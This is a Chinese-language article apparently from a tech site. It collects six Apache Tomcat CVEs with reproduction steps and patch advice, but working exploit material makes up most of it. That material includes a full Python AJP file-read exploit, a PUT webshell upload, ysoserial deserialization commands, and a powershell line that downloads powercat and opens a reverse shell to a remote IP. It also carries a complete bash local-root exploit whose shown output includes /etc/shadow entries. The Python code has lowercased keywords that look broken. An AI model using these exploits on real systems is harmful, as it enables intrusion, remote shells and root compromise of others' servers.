当前位置: 代码网 > 服务器>服务器>Tomcat > tomcat漏洞汇总

tomcat漏洞汇总

2024年05月18日 Tomcat 我要评论
put 任意文件上传(cve-2017-12615)影响版本tomcat 7.0.0~7.0.79漏洞复现1. 访问apache tomcat首页 http://192.168.17.140:8080

put 任意文件上传(cve-2017-12615)

影响版本

tomcat 7.0.0~7.0.79

漏洞复现

1. 访问apache tomcat首页 http://192.168.17.140:8080

2. 访问http://192.168.17.140:8080/,使用burpsuit工具进行抓包,并将请求包发送至repeater 

3. 将请求包get方式改为put方式,上传ceshi.jsp,内容为“hello word”,点击发送,发现服务器返回“201”

4. 访问刚上传的ceshi.jsp文件,发现可访问,从而确定存在cve-2017-12615漏洞

5. 接下来上传木马backdoor.jsp,如图所示上传成功

6. 使用冰蝎连接shell,密码为“rebeyond”

修复建议

用户可以禁用put方法来防护此漏洞,操作方式如下:
在tomcat的web.xml 文件中配置org.apache.catalina.servlets.defaultservlet的初始化参数

<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>

 确保readonly参数为true(默认值),即不允许delete和put操作。

远程代码执行(cve-2019-0232)

影响版本

tomcat 7.0.94之前

tomcat 8.5.40之前

tomcat 9.0.19之前   版本都会影响

漏洞复现

 1. 首先修改apache-tomcat-9.0.13\conf\ web.xml

将此段注释删除,并添加红框内代码。

        <init-param>
          <param-name>enablecmdlinearguments</param-name>
          <param-value>true</param-value>
        </init-param>
        <init-param>
          <param-name>executadle</param-name>
          <param-value></param-value>
        </init-param>

2. 将此处注释删除

3. 更改

apache-tomcat-9.0.13\conf\ context.xml

4. 在apache-tomcat-9.0.13\webapps\root\web-inf目录下,新建 cgi-bin 文件夹
在文件夹内创建一个.bat文件 

@echo off
echo content-type: test/plain
echo.
set foo=&~1
%foo%

 

5. 在后边追加命令,即可实现命令执行操作

修复建议

1. 禁用enablecmdlinearguments参数。

2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。

3. 升级tomcat到9.0.17以上版本。

apache-tomcat-ajp漏洞(cve-2020-1938)

影响版本

apache tomcat 6

apache tomcat 7 < 7.0.100

apache tomcat 8 < 8.5.51

apache tomcat 9 < 9.0.31

开启了8009端口的ajp服务

漏洞复现

1. 网址中下载tomcat,下载好安装包之后,进入bin目录执行startup.bat启动tomcat

 2. 访问http://localhost:8080

3. 修改配置文件,首先修改apache-tomcat-9.0.13\conf\ web.xml 

将此段注释删除,并添加红框内代码

      <init-param>
        <param-name>enablecmdlinearguments</param-name>
        <param-value>true</param-value>
      </init-param>
      <init-param>
        <param-name>executadle</param-name>
        <param-value></param-value>
      </init-param>

4. 将此处注释删除

 5. 修改 apache-tomcat-9.0.13\conf\ context.xml

添加privileged="true"语句 如下图

 环境搭建完成!

6. 在cmd下执行python脚本

脚本代码如下:

#!/usr/bin/env python
#cnvd-2020-10487  tomcat-ajp lfi
#by ydhcui
import struct
# some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is none:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">h%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return none
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class notfoundexception(exception):
	pass
class ajpbodyrequest(object):
	# server == web server, container == servlet
	server_to_container, container_to_server = range(2)
	max_request_length = 8186
	def __init__(self, data_stream, data_len, data_direction=none):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(ajpbodyrequest.max_request_length)
		if len(data) == 0:
			return struct.pack(">bbh", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">h", len(data))
			res += data
		if self.data_direction == ajpbodyrequest.server_to_container:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while true:
			data = self.serialize()
			socket.send(data)
			r = ajpresponse.receive(stream)
			while r.prefix_code != ajpresponse.get_body_chunk and r.prefix_code != ajpresponse.send_headers:
				r = ajpresponse.receive(stream)
			if r.prefix_code == ajpresponse.send_headers or len(data) == 4:
				break
class ajpforwardrequest(object):
	_, options, get, head, post, put, delete, trace, propfind, proppatch, mkcol, copy, move, lock, unlock, acl, report, version_control, checkin, checkout, uncheckout, search, mkworkspace, update, label, merge, baseline_control, mkactivity = range(28)
	request_methods = {'get': get, 'post': post, 'head': head, 'options': options, 'put': put, 'delete': delete, 'trace': trace}
	# server == web server, container == servlet
	server_to_container, container_to_server = range(2)
	common_headers = ["sc_req_accept",
		"sc_req_accept_charset", "sc_req_accept_encoding", "sc_req_accept_language", "sc_req_authorization",
		"sc_req_connection", "sc_req_content_type", "sc_req_content_length", "sc_req_cookie", "sc_req_cookie2",
		"sc_req_host", "sc_req_pragma", "sc_req_referer", "sc_req_user_agent"
	]
	attributes = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=none):
		self.prefix_code = 0x02
		self.method = none
		self.protocol = none
		self.req_uri = none
		self.remote_addr = none
		self.remote_host = none
		self.server_name = none
		self.server_port = none
		self.is_ssl = none
		self.num_headers = none
		self.request_headers = none
		self.attributes = none
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("sc_req"):
				code = ajpforwardrequest.common_headers.index(h_name) + 1
				res += struct.pack("bb", 0xa0, code)
			else:
				res += pack_string(h_name)
			res += pack_string(self.request_headers[h_name])
		return res
	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = ajpforwardrequest.attributes.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("b", 0xff)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == ajpforwardrequest.server_to_container:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = stringio(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbh")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">h")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">h")
			if code > 0xa000:
				h_name = ajpforwardrequest.common_headers[code - 0xa001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=false):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == ajpforwardrequest.post:
			return res
		r = ajpresponse.receive(stream)
		assert r.prefix_code == ajpresponse.send_headers
		res.append(r)
		if save_cookies and 'set-cookie' in r.response_headers:
			self.headers['sc_req_cookie'] = r.response_headers['set-cookie']
		# read body chunks and end response packets
		while true:
			r = ajpresponse.receive(stream)
			res.append(r)
			if r.prefix_code == ajpresponse.end_response:
				break
			elif r.prefix_code == ajpresponse.send_body_chunk:
				continue
			else:
				raise notimplementederror
				break
		return res
class ajpresponse(object):
	_,_,_,send_body_chunk, send_headers, end_response, get_body_chunk = range(7)
	common_send_headers = [
			"content-type", "content-language", "content-length", "date", "last-modified",
			"location", "set-cookie", "set-cookie2", "servlet-engine", "status", "www-authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">hhb")
		if self.prefix_code == ajpresponse.send_headers:
			self.parse_send_headers(stream)
		elif self.prefix_code == ajpresponse.send_body_chunk:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == ajpresponse.end_response:
			self.parse_end_response(stream)
		elif self.prefix_code == ajpresponse.get_body_chunk:
			self.parse_get_body_chunk(stream)
		else:
			raise notimplementederror
	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">h")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">h")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">h")
			if code <= 0xa000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = ajpresponse.common_send_headers[code-0xa001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value
	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">h")
		self.data = stream.read(self.data_length+1)
	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")
	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">h")
		return rlen
	@staticmethod
	def receive(stream):
		r = ajpresponse()
		r.parse(stream)
		return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=ajpforwardrequest.get):
	fr = ajpforwardrequest(ajpforwardrequest.server_to_container)
	fr.method = method
	fr.protocol = "http/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = none
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'sc_req_accept': 'text/html',
		'sc_req_connection': 'keep-alive',
		'sc_req_content_length': '0',
		'sc_req_host': target_host,
		'sc_req_user_agent': 'mozilla',
		'accept-encoding': 'gzip, deflate, sdch',
		'accept-language': 'en-us,en;q=0.5',
		'upgrade-insecure-requests': '1',
		'cache-control': 'max-age=0'
	}
	fr.is_ssl = false
	fr.attributes = []
	return fr
class tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port
		self.socket = socket.socket(socket.af_inet, socket.sock_stream)
		self.socket.setsockopt(socket.sol_socket, socket.so_reuseaddr, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)
	def perform_request(self, req_uri, headers={}, method='get', user=none, password=none, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=ajpforwardrequest.request_methods.get(method))
		print("getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not none and password is not none:
			self.forward_request.request_headers['sc_req_authorization'] = "basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return none, none
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("no data in response. headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.argumentparser()
parser.add_argument("target", type=str, help="hostname or ip to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="ajp port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='web-inf/web.xml', help="file path :(web-inf/web.xml)")
args = parser.parse_args()
t = tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

 7. 可以成功访问文件,漏洞复现成功!

修复建议

1、禁用aip协议端口,在conf/server.xml配置文件中注释掉<connector port=“8009” protocol="ajp/1.3"redirectport=“8443”/>

2、升级官方最新版本。

tomcat session(cve-2020-9484)反序列化漏洞

影响版本

apache tomcat 10.0.0-m1—10.0.0-m4

apache tomcat 9.0.0.m1—9.0.34

apache tomcat 8.5.0—8.5.54

apache tomcat 7.0.0—7.0.103

  • 攻击者能够控制服务器上文件的内容和文件名称
  • 服务器persistencemanager配置中使用了filestore
  • persistencemanager中的sessionattributevalueclassnamefilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
  • 攻击者知道使用的filestore存储位置到攻击者可控文件的相对路径

漏洞复现

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址: https://github.com/frohoff/ysoserial.git

用浏览器下载,解压,并生成一个jar包,复制进linux系统

生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package

编译有点慢需要几分钟世间

编译完成后在target目录下,有jar包

执行下面语句生成 payload

java -jar ysoserial-0.0.6-snapshot-all.jar groovy1 "touch /tmp/2333" > /tmp/test.session

  使用以下命令访问tomcat服务

curl 'http://127.0.0.1:8080/index.jsp' -h 'cookie: jsessionid=../../../../../tmp/test'

 虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录

修复建议 升级到 apache tomcat 10.0.0-m5 及以上版本升级到 apache tomcat 9.0.35 及以上版本升级到 apache tomcat 8.5.55 及以上版本升级到 apache tomcat 7.0.104 及以上版本

临时修复建议

禁止使用session持久化功能filestore

tomcat反序列化漏洞(cve-2016-8735)

影响版本

apache tomcat 9.0.0.m1 to 9.0.0.m11
apache tomcat 8.5.0 to 8.5.6
apache tomcat 8.0.0.rc1 to 8.0.38
apache tomcat 7.0.0 to 7.0.72
apache tomcat 6.0.0 to 6.0.47

外部需要开启jmxremotelifecyclelistener监听的 10001 和 10002 端口,来实现远程代码执行

漏洞复现

环境:tomcat7.0.39

在 conf/server.xml 中第 30 行中配置启用jmxremotelifecyclelistener功能监听的端口

配置好 jmx 的端口后,我们在 tomcat 版本(index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。

接着我们再去bin目录下修改catalina.bat脚本。在executethe requested command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置,不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

然后启动 tomcat ,看看本地的 10001 和 10002 端口是否开放 

漏洞利用代码

java -cp ysoserial.jar ysoserial.exploit.rmiregistryexploit 127.0.0.1 10001 groovy1 "calc.exe"

但是由于该命令没有回显,所以我们还是选择反弹shell回来,以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令 

java -cp  ysoserial.jar ysoserial.exploit.rmiregistryexploit  127.0.0.1 10001 groovy1  "powershell iex (new-object system.net.webclient).downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"

修复建议

1、关闭 jmxremotelifecyclelistener 功能,或者是对 jmx jmxremotelifecyclelistener 远程端口进行网络访问控制。同时,增加严格的认证方式。

2、根据官方去升级更新相对应的版本。

tomcat本地提权漏洞(cve-2016-1240)

影响版本

tomcat 8 <= 8.0.36-2
tomcat 7 <= 7.0.70-2
tomcat 6 <= 6.0.45+dfsg-1~deb8u1

  • 通过deb包安装的tomcat
  • 需要重启tomcat
  • 受影响的系统包括debianubuntu,其他使用相应deb包的系统也可能受到影响

漏洞复现

debian系统的linux上管理员通常利用apt-get进行包管理,cve-2016-1240这一漏洞其问题出在tomcat的deb包中,使 deb包安装的tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的tomcat用户获得系统root权限!

本地攻击者,作为tomcat用户(比如说,通过web应用的漏洞)若将catalina.out修改为指向任意系统文件的链接,一旦tomcat init脚本(root权限运行)在服务重启后再次打开catalina.out文件,攻击者就可获取root权限。

 漏洞poc

#!/bin/bash
#
# tomcat 6/7/8 on debian-based distros - local root privilege escalation exploit
#
# cve-2016-1240
#
# discovered and coded by:
#
# dawid golunski
# http://legalhackers.com
#
# this exploit targets tomcat (versions 6, 7 and 8) packaging on 
# debian-based distros including debian, ubuntu etc.
# it allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# tomcat webroot directories etc.) to escalate their privileges to root.
#
# usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# the exploit can used in two ways:
#
# -active (assumed by default) - which waits for a tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as tomcat service is restarted. 
# it also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. it removes the need for the exploit to run in a loop waiting. 
# attackers can come back at a later time and check on the /etc/default/locale file. upon a 
# tomcat restart / server reboot, the file should be owned by tomcat user. the attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatn logrotation cronjob (run daily around 6:25am on default 
# ubuntu/debian tomcat installations).
#
# see full advisory for details at:
# http://legalhackers.com/advisories/tomcat-debpkgs-root-privilege-escalation-exploit-cve-2016-1240.html
#
# disclaimer:
# for testing purposes only. do no harm.
#
backdoorsh="/bin/bash"
backdoorpath="/tmp/tomcatrootsh"
privesclib="/tmp/privesclib.so"
privescsrc="/tmp/privesclib.c"
suidbin="/usr/bin/sudo"
function cleanexit {
    # cleanup 
    echo -e "\n[+] cleaning up..."
    rm -f $privescsrc
    rm -f $privesclib
    rm -f $tomcatlog
    touch $tomcatlog
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] job done. exiting with code $1 \n"
    exit $1
}
function ctrl_c() {
        echo -e "\n[+] active exploitation aborted. remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}
#intro 
echo -e "\033[94m \ntomcat 6/7/8 on debian-based distros - local root privilege escalation exploit\ncve-2016-1240\n"
echo -e "discovered and coded by: \n\ndawid golunski \nhttp://legalhackers.com \033[0m"
# args
if [ $# -lt 1 ]; then
    echo -e "\n[!] exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi
# priv check
echo -e "\n[+] starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] you need to execute the exploit as tomcat user! exiting.\n"
    exit 3
fi
# set target paths
tomcatlog="$1"
if [ ! -f $tomcatlog ]; then
    echo -e "\n[!] the specified tomcat catalina.out log ($tomcatlog) doesn't exist. try again.\n"
    exit 3
fi
echo -e "\n[+] target tomcat log file set to $tomcatlog"
# [ deferred exploitation ]
# symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on debian/ubuntu by the /etc/cron.daily/tomcatn logrotation cronjob around 6:25am.
# attackers can freely add their commands to the /etc/default/locale script after tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $tomcatlog && ln -s /etc/default/locale $tomcatlog
    if [ $? -ne 0 ]; then
        echo -e "\n[!] couldn't remove the $tomcatlog file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] symlink created at: \n`ls -l $tomcatlog`"
    echo -e  "\n[+] the current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] keep an eye on the owner change on /etc/default/locale . after the tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatn log rotation cron. see also -active mode if you can't wait ;)
 \n\n"
    exit 0
fi
# [ active exploitation ]
trap ctrl_c int
# compile privesc preload library
echo -e "\n[+] compiling the privesc shared library ($privescsrc)"
cat <<_solibeof_>$privescsrc
#define _gnu_source
#include 
#include 
#include 
#include 
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(rtld_next, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$backdoorpath", 0, 0);
        chmod("$backdoorpath", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -wall -fpic -shared -o $privesclib $privescsrc -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] failed to compile the privesc lib $privescsrc."
    cleanexit 2;
fi
# prepare backdoor shell
cp $backdoorsh $backdoorpath
echo -e "\n[+] backdoor/low-priv shell installed at: \n`ls -l $backdoorpath`"
# safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. exiting for safety."
    cleanexit 2
fi
# symlink the log file to ld.so.preload
rm -f $tomcatlog && ln -s /etc/ld.so.preload $tomcatlog
if [ $? -ne 0 ]; then
    echo -e "\n[!] couldn't remove the $tomcatlog file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] symlink created at: \n`ls -l $tomcatlog`"
# wait for tomcat to re-open the logs
echo -ne "\n[+] waiting for tomcat to re-open the logs/tomcat service restart..."
echo -e  "\nyou could speed things up by executing : kill [tomcat-pid] (as tomcat user) if needed ;)
 "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $privesclib > /etc/ld.so.preload
        break;
    fi
done
# /etc/ld.so.preload file should be owned by tomcat user at this point
# inject the privesc.so shared library to escalate privileges
echo $privesclib > /etc/ld.so.preload
echo -e "\n[+] tomcat restarted. the /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] adding $privesclib shared lib to /etc/ld.so.preload"
echo -e "\n[+] the /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
# escalating privileges via the suid binary (e.g. /usr/bin/sudo)
echo -e "\n[+] escalating privileges via the $suidbin suid binary to get root!"
sudo --help 2>/dev/null >/dev/null
# check for the rootshell
ls -l $backdoorpath | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] rootshell got assigned root suid perms at: \n`ls -l $backdoorpath`"
    echo -e "\n\033[94mplease tell me you're seeing this too ;)
  \033[0m"
else
    echo -e "\n[!] failed to get root"
    cleanexit 2
fi
# execute the rootshell
echo -e "\n[+] executing the rootshell $backdoorpath now! \n"
$backdoorpath -p -c "rm -f /etc/ld.so.preload; rm -f $privesclib"
$backdoorpath -p
# job done.
cleanexit 0

poc运行

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
tomcat7@ubuntu:/tmp$ lsb_release -a
no lsb modules are available.
distributor id: ubuntu
description:    ubuntu 16.04 lts
release:    16.04
codename:   xenial
tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          servlet and jsp engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          servlet and jsp engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          servlet and jsp engine -- common files
tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 
tomcat 6/7/8 on debian-based distros - local root privilege escalation exploit
cve-2016-1240
discovered and coded by: 
dawid golunski 
http://legalhackers.com
[+] starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
[+] target tomcat log file set to /var/log/tomcat7/catalina.out
[+] compiling the privesc shared library (/tmp/privesclib.c)
[+] backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 sep 30 22:27 /tmp/tomcatrootsh
[+] symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
[+] waiting for tomcat to re-open the logs/tomcat service restart...
you could speed things up by executing : kill [tomcat-pid] (as tomcat user) if needed ;)
[+] tomcat restarted. the /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 sep 30 22:28 /etc/ld.so.preload
[+] adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] the /etc/ld.so.preload file now contains: 
/tmp/privesclib.so
[+] escalating privileges via the /usr/bin/sudo suid binary to get root!
[+] rootshell got assigned root suid perms at: 
-rwsrwxrwx 1 root root 1037464 sep 30 22:27 /tmp/tomcatrootsh
please tell me you're seeing this too ;)
[+] executing the rootshell /tmp/tomcatrootsh now! 
tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

修复建议

目前,debian、ubuntu等相关操作系统厂商已修复并更新受影响的tomcat安装包。受影响用户可采取以下解决方案:

1、更新tomcat服务器版本:

(1)针对ubuntu公告链接
http://www.ubuntu.com/usn/usn-3081-1/

(2)针对debian公告链接
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670

2、加入-h参数防止其他文件所有者被更改,即更改tomcat的启动脚本为:
chown -h $tomcat6_user “$catalina_pid” “$catalina_base”/logs/catalina.out

参考链接

cve-2019-0232漏洞复现_whh6tl的博客-csdn博客_cve-2019-0232

(cve-2020-1938)apache tomcat远程代码执行漏洞复现_whh6tl的博客-csdn博客

tomcat session(cve-2020-9484)反序列化漏洞复现_白冷的博客-csdn博客_cve-2020-9484

https://i4t.com/1545.html

到此这篇关于tomcat漏洞汇总的文章就介绍到这了,更多相关tomcat漏洞内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com